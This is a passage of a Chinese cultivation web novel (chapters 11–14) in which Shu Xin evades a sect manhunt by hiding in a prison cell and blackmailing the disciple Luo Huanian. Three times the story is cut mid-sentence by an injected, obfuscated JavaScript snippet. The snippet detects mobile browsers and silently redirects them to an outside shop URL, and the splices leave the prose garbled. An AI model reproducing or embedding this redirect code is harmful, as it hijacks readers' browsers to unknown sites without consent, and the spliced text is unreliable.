【我能够感觉到,这里的阵法开始收紧了。】剑灵及时说道。 “正常,那些世家子很多都没有学过专业的财务知识,肯定什么都往我身上推。我背的锅多了,长生道宗肯定不会再放任下去。” 说到这里,舒新也笑了笑,“有时候我觉得也蛮神奇的,我以前看修真小说,以为这些门派都是和学校一样的地方。现在看来,它更像是一个大型的跨国公司。各个修真世家就是不同的子公司,分别隶属不同的董事会成员。但同时,他们还拥有了属于国王的权利,实在有意思。” 【你又在说一些让剑灵听不懂的话。】 “文明不同,你无法理解也正常。”舒新耸耸肩,脸色也变得严肃起来,“前期不过是开胃菜,接下来才是真正要面临危机的时候了。我只能靠你了,你可别给我掉链子。” 【放心,我暂时也不想再换一个主人。】 光是舒新,它就等了足足一千年才等到。 要是舒新死了,它下一次又要等多久呢? 长生道宗的世家们开始行动。 当它们处于混乱、无序的状态的时候,这些世家互相使绊子,姿态完全不比幼儿园里的小孩子们强多少。 可当它们不得不臣服于更强大的力量而拧成一股绳的时候,它们的力量却显得格外庞大。 庞大到,哪怕是舒新这种天生乐天派的人,也有了一些精神压力。 变化是在潜移默化之中产生的。 哪怕舒新一直跟着上官玉他们行动,但还是能够明显感觉到,队伍里的人开始对她逐渐变得疏远。 “李师妹,到现在还没有找到你家长辈么?” “李师妹,我是愿意相信你的,只是最近家族这边传信,因为我们丢失了家族玉牌,所以每一个人都要回到家族重新接受检验。” “恐怕,我们要就此分开了。” …… “我当然明白。”舒新做戏也要做全套,“实际上,我最近也很担心。这么久了,他们应该早就找到我了,可是他们偏偏还没有消息,我担心,他们恐怕……恐怕……” 舒新抹了抹不存在的眼泪,故作坚强,“诸位师兄,这些日子多谢你们的照顾,不过我也不能再拖累你们了。如果我的叔叔伯伯们真的出了意外,我一个人也不能这么厚着脸皮回家。我总要找到我叔叔伯伯的尸身的。” “李师妹真是孝心可嘉。” “师妹,要不你试着找我们家族求助,或许……” “我们这种小家族,哪里有资格登上官家的门?”舒新脸上一喜,随即又黯淡下来,“算了,能够和大家相识,已经是我人生中最快乐的时光。诸位师兄,我们以后会有机会再见的。现在,也是时候该和你们告别了。” 又是一阵挽留、道别,舒新还收了他们“凑出来”的一笔路费,这才恋恋不舍的离开。 “堂兄,李师妹一直都跟在我们身边,不可能是舒新,她资质也不错,相信我们家族也会对她敞开大门的。” “是啊,大哥。” 几个爱慕舒新的上官家儿郎们,显然还没有办法接受这种离别。 “我当然知道她不是舒新。但问题是,现在家族是宁肯错杀不肯放过。而且,你们谁又能保证,她不是安插在我们身边的奸细呢?” 上官玉皱眉道,“李家迟迟没有派人来接她,要么就是知道她在我们这里,要么就是李家的那些精锐都已经死了。一个没有家族庇护的天资出众的女修,除了嫁入世家,恐怕找不到更好的出路了。想想你们的母亲、姨娘们,她们是如何进入家族的?” 越是修为高的修士诞下子嗣就越难,而且若是子嗣天分高,在母体里就会开始吸收母体的灵气。因此,很多天资出众的女修在生育孩子之后,修为往往会倒退。而越是孕育优秀的后代,母体要供养的灵气就越多。 但是偏偏世家们最想要的就是优秀的子嗣。 于是,这些小门小派的、没落世家里的优秀女子,就是他们寻找到的最好对象。 世家寻找妻子,不看美丑,不看年纪,只看她自身的天分够不够格,祖上有没有出过厉害的修士。 而这些女修的价值,在家族里甚至比一些正经家族子弟的地位还要高。 但,一旦生育过多,她们的天资和修为都会大幅度下降。 若是联姻的世家还好,女修只会精心孕育一个孩子,并且还能拿到两个家族给予的生育补偿。甚至,有些宗门女修,因为冲击境界灵石不足,还会主动找到世家,以孕育孩子为代价获取不菲的灵石。 但这种场景,也只会出现在同等阶级之中。若是庇护稍差的女修,空有资质没有修为简直就是灾难。 合欢宗能够在魔门之中屹立不倒,就是因为有不少女修都被逼的活不下去,想要保住修为只能去合欢宗,给合欢宗提供了源源不断的人才储备。谁敢打她们主意,就要做好被吸干精血的准备。 说来好笑,在这样修士能够上天入地的世界来,这种结构性的压迫反而更加恐怖。 想要保护自己,就只能成为迫害别人的一方。 舒新当初被招安进长生道宗,不知道多少世家打过她的主意。 只是舒新有点本事,后来又修为毫无寸进,加上她的未婚夫司徒间也成为了宗门核心弟子,才慢慢让世家打消了对她的想法。 如今,舒新闹出这么大的事情,已经不仅仅是林家的事了,事关宗门脸面,已经无法轻轻放下了。 舒新又给自己换了一个模样,这一次她尽可能避开点人。 打探了好几圈之后,舒新才确定,长生道宗是真的下真功夫了。 他们或许意识到了有人在里面浑水摸鱼,也是为了控制事态不再继续恶化下去,因此开始逐渐将在外面巡逻的弟子回来,一个个的检测,彻底杜绝舒新藏身其中的可能。 除此之外,在阵法薄弱处,他们都安排了新的长老坐镇,但又装出没有什么人的样子,等着舒新上钩。 这种阵仗,比舒新想的还要大。 “那些人究竟往我身上推了多少事情?这阵仗,像是我杀了三个大乘期修士,而不是三个无用的洞天真人。”舒新忍不住感慨道,“难道是因为他们发现了你的存在?” 【如果他们发现了我,现在来的应该是陆地神仙。】 “好好好,知道你厉害了。”舒新本来也就是随口一说,“那就只可能有什么厉害的人对我的事情定了性?唔,司徒间挑的那个林家老头应该做不到这样,我就吃点宗门回扣,应该也不至于有这么大阵仗。唔,那就只剩下最后一种可能,我被人当借口整顿宗门了。” 去掉所有不可能,剩下的那就是真相了。 【长生道宗要对世家下手?】 “对于宗门来说,世家也是韭菜,收割他们多好?收割了之后,不但可以赢得普通弟子对宗门的忠心,而且还能扫荡他们积累的所有财富,还能再扶持自己看好的新人。对外一说,为了一个普通弟子清除世家势力,多么符合大众对于名门正派的想象?” 舒新笑道,“我就是一个很好的借口,他们到时候肯定要给我按上各种罪名,说不定还要我承认我变成这样都是世家逼迫,他们处死我之后还要借机清理世家,避免我这样的悲剧再次发生呢。” 这种手段,舒新见得多了。 手下再好用,也要敲打敲打。 【他们在逐渐收紧阵法。】剑灵有些着急,【这么下去,你总是会被发现的。】 现在舒新逃又逃不掉,打又打不过,又被卷入了宗门和世家的斗争之中,岂不是凉凉? 要不,还是自己带着舒新直接杀出去? “不急,总是有办法的。”舒新有一个优点,就是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708522|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情越是紧迫的时候,反而越冷静。 天塌不下来。 “先观察一下再说。” 舒新悄悄的尾随了小世家的弟子回了一座小山头。 差点就被发现。 每一个弟子回到自家山头,就会被家族用“血脉法术”追根溯源,确定有反应之后才会认可身份。 不过这种办法也有点意外发现,比如突然发现某个自家的优秀弟子,其实是被大能夺舍或者被魔修变成傀儡了之类的。 舒新看的倒是很舒服。 “谁?” 正当舒新看的开心的时候,一道人影已经瞬间闪现到舒新跟前,一拳轰来,半点都没有犹豫。 舒新没有阻拦,而是硬生生的挨了一下,转头就跑。 草,一个好好的无垢境老祖怎么还装成普通人在山头游荡呢? 这年头,喜欢越级打压修为比自己弱的修士,难道已经是一种时尚潮流了么? 等到舒新已经跑的没影,一大群修士才齐刷刷的跪倒。 “天君,刚才被您击退的小贼是谁?” “不知。”动手的修士摇摇头,“这人隐蔽的功法特殊,若非我身上有掌门赐下的符宝也难以察觉对方的踪迹。提高警惕,恐怕有其他宗门的人趁着这个混乱的时机悄悄溜进来了。” “是。” 等到众人散去,修士才有时间去看自己的符宝。 却见这个珍贵的不行的宝贝,不知怎么的就从中间斩断,分成了两截。 ……那个奇怪的修士修为肯定是比自己低的,但是对方当机立断就跑了,意味着他(她)在瞬间就判断出了自己修为,并且果断逃离。 他们长生道宗,什么时候出现了这样眼力厉害而且行事果决的后辈?那些世家弟子玩玩阴谋诡计还行,但是这样的战斗素质,基本万中无一。 而且对方身上到底带着什么样的神兵利器,才能在神不知鬼不觉的时候将自己的符宝砍成这个样子? 或许,自己也该回宗门好好查查看。 舒新疼的龇牙咧嘴,好不容易藏在山洞里吃了两颗丹药慢慢疗伤,嘴里已经问候了那个该死的修士祖宗十八代了。 剑灵也很无语,它现在要分出力量去窥探阵法的变化,又要帮舒新掩藏气息,没想到还是被钻了空子。 【那个修士身上应该有一种特殊的符箓可以隐藏修为,我没有察觉出来。我都沉睡一千年了,不知道你们人族又搞出什么新鲜东西来。】 不过剑灵也没有吃亏,将那玩意直接破坏了。 总不能在一个东西上吃两次亏。 “没事,我也没怪你,你又不是全知全能。”舒新深呼吸一口气,“不过这么一来,是真的要想办法逃了。这种特殊的符箓肯定品级不低,我以后也要想个办法查一查。” 【现在,还是想想办法吧,你看见没?已经有洞天真人带着道婴弟子四处巡查了。】剑灵觉得现在唯一的办法,就是舒新用指尖玄光暂时将自己修复,然后自己使出那毁天灭地的一剑将这个阵法彻底破坏,再带着舒新逃之夭夭。 “你们是否见过一个女子?随便什么样子都行,极大可能是孤身行走。” “她也可能装扮成男子,但她身上应该有两把剑。” “只要是你们没见过的陌生人,都可以将她的样子镌刻在玉简之上。” “什么?在前面的山洞里,你们见过一个行踪诡异的人?” 洞天真人带着寻人的宝贝,还带着一群后辈,已经划分好了相应的区域。 只要率先找到舒新,就能在真正的大人物面前露脸,这或许就是舒新死的最有价值的一天了。 当这群修士真的认真起来的时候,要找到一个陌生人其实根本就不难。 舒新藏身的山洞并非隐秘,总有蛛丝马迹会被发现。 “师父,您看。” “这里有过灵气残留。” “应该刚走。” 弟子们将山洞里的情况都搜索了一遍,暂时还是没有找到舒新的痕迹。 但已经找到了这里,就证明人就在这附近。 找到她,也只是迟早的事。 【还是干脆将我恢复……】剑灵碎碎念着,已经十分不看好舒新接下来的行动。 这样下去,她最迟明天就会被发现。 已经找不到任何一处安全的地方了。 正在这个时候,舒新突然调转回头。 “剑灵,帮我隐蔽气息,我要回湖中监牢。” 【什么?你脑子傻了?】剑灵差点以为舒新自暴自弃了。 “我没有傻。”舒新笑道,“置之死地而后生,现在他们都在找我,绝对想不到我又会回到湖中监牢。” 再回去一次又何妨? 躲躲又不丢人。 12.第 12 章 舒新闯入湖中监牢,没有回到自己一开始被关押的房间里去,而是去了隔壁房间。 被关在这一楼的,基本都是长生道宗犯了事的弟子,几乎都被关禁闭三年到二十年不等。 换句话说,这些弟子多少都听过自己,但是却不会知道自己最近在长生道宗闹出了这么大的事情。 这就是所谓的信息差了。 任凭外面那些人找她找到挖地三尺,也不会想到她躲在了别人的牢房里,除非那些世家是真的打算去挑战长生道宗的权威,或者去试探一下在这里看守那些魔修们的长老们的实力。 要不说平台决定人生呢? 在这个湖中监牢,不能惹的存在可太多了啊。 所以接下来,她只需要挑一个好欺负点、又好说话的被关禁闭的弟子就好了。 【那你怎么知道人家会配合你?】剑灵好奇的问道。 那还不容易? 出门在外,身份都是自己给的。 舒新笑眯眯的指了指自己,然后装出胸有成竹的样子,借着剑灵的力量一把劈开某个房间上的禁制,随后一手推开门,大声呵斥道: “洛华年,你的事发了,和我走一趟吧!” 里面正在闭关打坐的弟子睁开眼睛,护在他身边的几十把剑将剑尖全部对准闯入的舒新,只等主人一声令下,就要将这个胆敢闯入的人戳成马蜂窝。 【哎哟这年头还有灵剑敢在我面前横?】剑灵摩拳擦掌,一定要给这些连灵智都没有生出来的大傻子后辈们一点断身断刃的震撼。 被呼喊的男修定睛看了来人一眼,才慢吞吞的起身,说话的声音语调也慢慢的,“原来,是舒长老,不知,您大驾光临,有何贵干?” 舒新只是瞥了一眼空中那些还对准着自己的几十把灵剑,淡淡说道,“我来找你,自然是因为你的事发了,宗门这边要重新给你定罪。你收拾收拾,和我走一趟吧。” 洛华年没有动,反而空中的灵剑已经成为了包围之势,甚至连刚才被舒新推开的门也都关了起来。 “看来,你是想要抗捕了?你可想好了,抗拒从严,回家过年,坦白从宽,牢底坐穿。”舒新义正言辞的说道。 【对……唉,不对,你是不是说反了?】 洛华年一时也没有绕过弯来,等到回过神来又有些疑惑的看着舒新。 “好了,先把灵剑都收起来吧,我虽然拿了宗门的令牌打开了禁制来找你,不过,也不是不能谈。”舒新露出一个友好的笑容,自来熟的找了把椅子坐了下来,“现在,我们还有些时间,完全可以慢慢谈。” 洛华年半信半疑的,还是收回了大部分的灵剑,却依旧还有几把停留在空中。 不过舒新也没有继续纠缠。 “洛师侄,你拜入长生道宗,差不多也有七十年了吧。当初宗门弟子洛秋敏出门在外,发现了被抛弃在山野树林的你,将你带回来悉心抚养,视若己出。而你在短短五十年内,成功叩问道关,可谓是前途无量。长生道宗这边不少内门长老都想要将你收为衣钵弟子,但你都不愿意,只想好好助你养母突破道婴,拜她为师。” 长生道宗对待弟子,从来只看是否“根正苗红”,换言之,就是他们有相当严重的年龄歧视! 比如同一年进门的舒新和司徒间,分明都是野修,但舒新已经成人,并且修行有成有自己的主见,所以宗门就只让她去当外门长老。 但司徒间当时不过才十四岁,尚未长成,而且只是刚刚入门练气,对于修真界的事情还懵懂无知,这在长生道宗看来就值得培养,所以在他资质出众之后很快就将他收入门中努力培养。 而洛华年这种从还是婴儿的时候就进入宗门的,无根无萍,简直是长生道宗最喜欢的对象。 因此,很长一段时间里,洛华年都被视为下一个司徒间,在司徒间没有突破道婴之前,一直有人将他们并列称呼。 从某种角度上来说,司徒间和洛华年,还真的有很大的相似性。 舒新会注意到他,也是因为他和司徒间有太多相似的点。 洛华年无动于衷,舒新说的不过都是一些众人皆知的事情而已。 “可有意思的是,二十年前,洛秋敏分明做好了万分准备,却在冲击道婴境界的时候功败垂成,最后元神消耗殆尽而亡。不得已,你只能拜入李长老名下,而李长老在去年秋末也是突破失败,死法和洛秋敏一模一样。而你,则是被查出来在李长老闭关炼丹的时候,偷偷潜入过炼丹房。虽然没有实质证据证明是你害了他,但他的弟子亲族依旧想方设法的找茬,将你关进了这个地方。”舒新淡然一笑,“你看起来,似乎并不紧张。” “事情不是我做的。”洛华年态度友好的说道。 “的确,他们没有证据。”舒新煞有介事的点点头,“可是我不一样,我掌管外门事务多年,对很多事情可比你想的更加了解。” “宗门里有一味灵草,叫味仙芝。这种普通灵草没有什么特别的,只能让食修们做菜的时候让菜要变得更加芳香四溢而已。所以,它的价格一直不高,产量也一般,毕竟它能够使用的途径太过单一,对修行又没有太多帮助。所以,外门收这种灵草,从来都是一枚灵石十株。” 舒新见洛华年神色没有半点变化,心中就知道自己今天推开的这扇门是推对了。 要是真来一个喜怒形于色的,还真不好找他帮忙。 “但是从三年前开始到去年,这三年前味仙芝的价格变了,从一枚灵石十株变成了一枚灵石一株,价格翻了十倍,我自然要去查探。没想到,却是有人在偷偷的收购味仙芝,因此卖给宗门的自然就少了。” “灵草价格变动,不过寻常。” “但味仙芝若是成千上万的被凝练,就能形成一味特殊的药,加入丹药之中,能够消解丹药七成以上的药性。它只是增加调味的灵草,本身又无毒,自然不会检测出任何不对劲的部分。但修士若是在闭关突破的重要时刻,吞噬丹药保命,丹药效果却大打折扣,那么修士突破失败的概率就要大大增加。”舒新悠悠道,“洛师侄,你说,当初收购这味灵草的又会是谁呢?” 洛华年的脸色终于变了。 “是你告的密?” “当然不是,不过我相信能够发现这件事的人,只有我。你也知道,我是外门长老,我要改一点记录,根本没人知道。而你也说了,这只是普通灵草,根本无人在意。”舒新露出一个灿烂的笑容,“但,我要不要去告密,就要看洛师侄你上不上道了。” “我大仇已报,你想告密就去吧。”洛华年终于一改刚才的平静气势,只是狠厉的看向舒新,“只要你能够顺利走出去。” 刷的一声。 那些灵剑又全部都升起来了。 舒新按了按,让剑灵老实一点,别想着动手。 “师侄别这么大火气,来来,要不要喝点丝瓜汤冷静一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714610|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。”舒新摆摆手,“我既然来和你说这么多,肯定就不是为了告密来的。相反,我也犯了点事,现在外面正在抓我呢。我需要你将我藏起来,等风头过去我就离开。我保证,你的事情以后不会有任何人知道。” 洛华年没说话,只是摆出一脸讥诮的样子。 啧,我对付叛逆少年可是手拿把掐。 当年司徒间都得在我手里老老实实的,我还能怕了你? “你觉得,你的仇真的报了?”舒新单手撑着下巴,“你养母当初也是颇有才名,要突破道婴境界应该是十拿九稳。她若是突破,又带着你一个你,在宗门里必定有多人愿意你们母子一起招揽,何必这么麻烦害死她?更别说一个区区李长老,连你都能弄死,哪里配害死你的母亲?” “我已经查过,当初只有他在我母亲陨落前见过她,而且他也认了。” “那,他又是谁指使?在宗门地界内害死一个即将突破道婴修士,必定会引来执法堂注意。就算要害死你母亲,趁着她外出请魔修帮忙不是来的更加简单直接?还有,李长老死了,他的亲族不依不饶,认定是你害死,他们罗织罪名害你,可你却也只是被罚关禁闭三年,谁帮的你?洛华年,你仔细想想,你出关之后,又要投靠谁,而你要投靠的那个人,到底是你的恩人还是你真正的仇人?” 舒新一句句的质问,将洛华年淡然平静的伪装戳了个粉碎。 【啧啧,你们人族啊,真是太恶心了。】 “所以,你必须得帮我。你应该知道我的本事,我能够在世家和宗门之间平衡这么多年,还能护住司徒间让他成为宗门核心弟子,我知晓的秘密、我的人脉绝对比你想象的多。”舒新笑道,“等你帮过我,我就帮你找出真正的凶手!” 洛华年深深的看着她,似乎第一次认识到这个在宗门口中前途无望、油滑精明的外门长老到底有多恐怖? 宗门里备受器重的年轻弟子,其实自成一个圈。 洛华年和司徒间都在其中。 而不知道多少人在背地里说过,司徒间的这个未婚妻完全是挟恩自重,根本配不上司徒间云云,偏偏司徒间却从未沾花惹草,多少世家大族的女修示好统统视而不见,私下里不知道多少人眼红心热。洛华年以前也不解,他自己的养母被害死,他清楚知道他们这种人在强大之前都是无法保护自己身边的人的。 他记得,他曾经私下里去找过司徒间,劝说他解除婚约,不是别的,只是不希望司徒间和他一样,眼睁睁看着自己重要的人因自己而死。 在这个宗门里,无根无萍天资出众的修士,就不能有明显的软肋。 但司徒间也只是来一句,“你不懂。” 当时的洛华年不懂,现在他或许有些懂了。 这个叫舒新的女修,远比他们更加明白宗门意味着什么,也比他们更加适应宗门里的生活,更会玩这么一个游戏。 “好,只要你说到做到。” “看,多容易,这种招数,司徒间一百年前就和我玩过了。”舒新对着剑灵说道,“还是年轻人好,容易对付。” 【确实,他们这种纯情少男,哪里玩得过你?】 【你真不是狐狸精变的?】 “我要是狐狸精变的,这个世界哪里轮得上人族称王?”舒新伸了个懒腰,“好了,接下来就看宗门怎么出招吧。” 她最喜欢就是打这种能凸显自己智慧、显得别人是傻子的仗了。 13.第 13 章 “没有被夺舍,没有被操控意识,下一个。” “血脉合格,下一个。” “神魂完整,玉牌没问题,下一个。” …… 在不同的世家家族内,正在上演着相似的场景。 所有出现在这个山里的家族弟子,一个个都被拉回来重新做身份检测,而那些还在外游荡的,若是能够被证明身份,就会被扔进各自的家族里检测。若是不能证明身份的,就直接抓起来。 很快,整个群山都被清理一空,只剩下十几个洞天真人还在四处巡逻。 只要有神智,哪怕是妖兽也得被挖出来做个检测。 这样的行动力、这样的效率,对于长生道宗来说不值一提。 毕竟检测范围只是这么小小的十几座群山,而并非是整个宗门。 在这种情况下,哪怕舒新躲在地底,也会被挖出来。 所有参与检测的世家修士们都是这么想的。 但随着检测的人越来越多,而外面游荡的人越来越少,舒新却像是凭空消失了一样,根本不曾出现。 而之前出现的那些被认定为“舒新犯下的孽”,也几乎都被证实是自己人所为。而实际上,舒新从湖中监牢逃出来之后,她的踪迹并没有被任何人发现。 这让世家修士们百思不得其解。 “她就算有帮手,在阵法没有受到任何破坏的情况下,也不该逃离才对。莫非,她的帮手之中还有阵法大师,能够不经过阵法反应就能逃出生天?”有人提出了这么一个构想。 “能够精通阵法、丹药、炼器之类的大师,哪一个不是大门派眼里的香饽饽?想要培养出这样的人才,不仅要有钱,还要有足够的资源和能力。舒新若是有这样的人脉,怎么还会在区区一个外门长老的位置上呆着?”另外的人当即反驳道。 这年头要是展现出除去修行之外特长的修士,要么就进入世家大族或者大门派之中当供奉,要么就自身实力强大还能得到几个厉害护道人的庇护,不然最好的下场就是被一个修士绑起来,为其工作到死。若是遇见那种魔修,说不定还要抹去神志成为只知道工作的傀儡,成为傀儡之后虽然出产的产品品质会下降,但胜在不会背叛而且出产量还高,完全就是下金蛋的鸡,如何能够轻易放过? 在这个修真界,修行都成为了奢侈之事,资源被垄断的厉害,何况是这种需要烧钱烧资源才能砸出来的特殊修士? “莫非,舒新其实是某个世家大族的私生女,所以她能够逃离掉血脉术法的检测?” “这话好笑,她要是某个世家大族的私生女,早就被认祖归宗了,就算她修为没有再进步也是实打实的道婴真君,拿去联姻都好啊。” “那她为什么能够凭空消失呢?” 众人已经意识到这件事情开始朝着不可思议的方向发展了。 一开始,这只是林家和舒新之间的私怨。 可舒新被抓到执法堂之后还杀人逃离之后,性质就变了,这已经是挑战长生道宗的规则了。 接下来,他们又花费这么大的代价去寻人,却还是寻不到,这要是传出去,他们长生道宗的脸面还往哪里搁?到时候,舒新拍拍屁股跑了,但是他们这些参与其中的人,整个家族都生活在宗门里,一旦被上面的人找茬,那要付出的可就不仅仅是一些灵石资源了。 因此,不管是于公于私,最好的办法都是要将舒新找出来。 “会不会是司徒间帮了忙?好歹是他的未婚妻,总不至于他半点不管吧。” “司徒间自从道婴大会结束之后就闭关了,只等林家老祖将他正式收为关门弟子那天才会出关。” “那许观呢?他是问神宗的掌门,若是他出手,将舒新悄无声息的救走是有可能的。” “秦如山恨不得盯死了许观,那秦如山至今不能突破,心魔基本就是许观。许观不死,他突破不了。” 所有的分析都被否决,他们对舒新也不够熟悉,这一时半会儿让他们找出舒新,还真是困难。 “都怪那个姓林的,分明是他挑起的事,现在见势不妙就直接闭关,说要为收徒做准备。”一个年纪稍大的修士怒气冲冲,“等以后有机会,我一定要狠狠的收拾他一顿。” 他们这些人,完全就是被迫参与的。 偏偏上面的人还发了话,他们又不能在事情没有办好之前就去解释。这种举动在上面的人看来,无非就是推责和无用,他们是万万不能这样干的。 就算要告状,也得先将事情给办好,这样上面的人才会觉得你有用。 上位者谁会有心情去给下位者当裁判呢? “舒新一定还藏在这里的某处,只是我们找不到。” “想办法,继续找,动用法宝、阵法也可,先将她找到,之后的损耗我们想办法从林家身上捞回来便是。” 正当众人热烈讨论的时候,一个中年修士静静的站在门外,却没有直接进入。 旁边的几个手下想要上前,却被这个中年修士制止。 若是舒新在这里,一眼就能认出这个中年修士就是之前连剑灵都瞒过了的无垢境老祖。 “看来,我前些天发现的那个小贼,应该就是他们口中的舒新了。”中年修士想了想,“你们去给我查查这舒新的底细,若是发现她的踪迹,保住她,将她带回来。” “师叔祖,这位舒新应该是得罪了这些世家,宗门里有人对她做了决定,不然不会引起这样的阵仗。您想要保她,恐怕……”几个手下有些担忧,他们师叔祖宁为玄曾经也算是长生道宗的核心人物之一,但是他处于无垢境境界已经快要八百年,眼看着寿元都过了大半也没有突破的迹象,故而才被排除出核心之外。 若是这个时候贸然保住一个得罪宗门核心人物的舒新,岂不是给自己平添麻烦? “你们懂什么?这舒新能够瞒过我的感知,可见她身上必定有异宝或者为大气运之人。”宁为玄随手一招,手中已经出现了一个古怪阵盘,“仙魔两道数十个门派虽然已经将天下资源垄断大半,但也有那大气运之人能够有无数奇遇,指不定那舒新就是其中之一。你们拿着我的阵盘去寻人,我在对战之时有攫取到舒新的一缕气息。若是她真有这份天资气运,保住她未尝不可,起而且她毫无根基又得罪了这些世家,只有投靠我才能活命!” “来我这里,难道不比那破落户问神宗强?” “是,师叔祖。” 舒新并不知道自己现在已经成为某些人眼里的香饽饽。 得到洛华年的肯定之后,她就直接在洛华年的房间里住了下来,并且霸占了最好的位置,同时还不忘从洛华年这里打听一下这附近还被关押着什么人。 洛华年本身不爱打听这些,但被舒新逼着,也只能绞尽脑汁的回答她一些问题。 “你在这里被关了这么久,连楼上守着的长老是谁都不知道?”舒新很是震惊,“这执法堂的湖中监牢,你上面被关着的那些邻居可全部都是惊天魔头,你居然能够做到不闻不问?” “我只是被关禁闭,过几年就能出去,何必了解这些?”洛华年反驳道。 “小了,格局小了。”舒新摇头,“知己知彼百战百胜,就你这个性,若是以后出去了继续报仇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718756|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指不定还得被关进来。多了解一下你的邻居和看守长老们,以后二进宫的时候也好给自己找个好位置啊。” “还是说,你觉得自己以后不会再被关进来了,或者不再报仇了?” “仇当然要报。”洛华年噌的一下起身,“但我现在被关禁闭,我如何能够去打听这些?” “你在宗门混了这么多年,相信你一定有自己的人脉和本事的。”舒新笑了笑,“单枪匹马,可不能让你悄无声息的用味仙芝害死你那个死了的师父。而且,在和我结盟之后,你不是还悄悄的发信息出去,询问我的事情了么?” 洛华年的眼神冷冽。 “别这么看我,我要是连这都发现不了,我早就被抓起来了。”舒新摆出一副高深莫测的样子,“师侄,下不为例,有什么事情直接问我就好了。频繁和外界联系,会引起别人的猜疑的。” 洛华年深呼吸了一口气,不再理会舒新。 舒新也不恼,只是从自己的储物戒指里掏出一大堆的东西来。 这些东西,几乎都是她从那些世家弟子们身上拿到的,里面到底有哪些资源,怎么归类,还没有统计出一个总数来呢。 反正闲着也是闲着,不明白自己的身家可不行。 洛华年瞥了一眼,被这满屋子的珠光宝气晃的几乎眼瞎。 哪怕他这种心性淡漠之人,也有些心动。 这舒新到底打劫了多少人,才会有这么多的储物袋? 但洛华年也只是冷哼一声,起身去屋里的角落里修行去了,懒得去看。 【他要是见财起意,你怕是要砍了他。这么试探人,你可真有出息。】 “没办法,总要试一试盟友的成色。要是太蠢了,说不定什么时候就会出卖我。”舒新坦然说道,“而且,之前跟着上官玉那些家伙,我都来不及清点我的战利品。好不容易有了一个安全的住处,当然要仔细算算。先把问神宗的拜师费拨出来,再算算我要继续冲击洞天境界的资源,再算算给你修复剑身所需要的资源,还有购买那些魔修消息们的灵石……唉,这钱总是不够花的。” 舒新一边叹气,一边清点,甚至还打算掏出玉简记录一下。 谁知道,当舒新用神识将清点的灵石数量记录在玉简上的时候,玉简却“啪叽”一声,不堪重负的碎了。 “咦,这玩意儿怎么就碎了,质量这么差的么?我就在上面记录了之前给司徒间买的东西而已啊,内存撑死就占了十分之一啊!”舒新气的破口大骂,“一定是那些奸商故意以次充好,卖了内存不够的空白玉简给我。” 剑灵仔细看了看这个玉简,试探着说道,【你说,有没有可能,它是被某人不小心弄坏的?】 “我不可能弄坏,我对自己的财务账本向来爱惜!”舒新对自己充满了信心。 好吧。 剑灵也懒得翻白眼了,它也没有这种东西。 “没关系,我还有别的空白玉简,继续记。”舒新很快就将这件事抛到了脑后,当务之急还是赶紧将资源都清点出来。 群山之中。 “阵盘指向是湖中监牢。”两个修士看着手中的阵盘,很是诧异。 “舒新还真是胆子大,居然又躲到了湖中监牢之中?快,立刻通知师叔祖,那里不是我们能够放肆的地方。” “好。” 宁为玄收到了手下传来的消息,顿时大笑。 “如此智谋,如此果断,置之死地而生,野修之中居然能生出这般奇女子?”宁为玄抚掌大笑,“若是得此女相助,他日我必定能够同我那几个师兄弟好好争一番掌门之位!” 14.第 14 章 “只需要查第一层就行。二层以上都有长老镇守,和第一层完全不是一个世界。那舒新若真有本事冲到上面去躲着,那就算是师叔祖本人来了也不行。” “你说的对。那我们在师叔祖到来之前,先调查一下这第一层被关禁闭的弟子的情况吧。不能太打草惊蛇,但也要给师叔祖看见我们的努力成果。” 两个弟子在用阵盘搜寻到舒新的踪迹之后,第一时间就通知了宁为玄,没有贸然行动,免得舒新跑了他们不好交代。 只是没想到的是,师叔祖来的比他们想的更快。 “师叔祖。” “我们在这里观察了许久,没有人进出,暂时也没有人注意到这里。” “这是我们暂时调查出来的东西,时间紧急,还请师叔祖赎罪。” 宁为玄看着两个弟子送来的玉简信息,又观望了一下四周,点了点头。 他这两个手下虽然资质只是中上,但胜在听话懂事而且不惹事,这已经比许多人要强了。 宁为玄原本就打算最近结束考验将这两个手下收为弟子来着。 收弟子,天资和悟性都不是最重要的,省心听话才重要。 “师叔祖,这第一层里被关禁闭的弟子不少,一个个的找寻,恐怕容易引起二层长老们的警惕。” “无妨,我和这些长老多少有些香火情谊,你们二人在此守候便是。”想了想,宁为玄又掏出两件法宝,分别递与二人,“你们拿着这件法宝,防止外人进出此地。若是我能顺利将舒新收入门下,你们便有一个大师姐了。” 两个手下也不傻,当即明白了师叔祖的意思,这是要真的将他们收为弟子了,顿时大喜,异口同声道,“祝师父马到功成。” 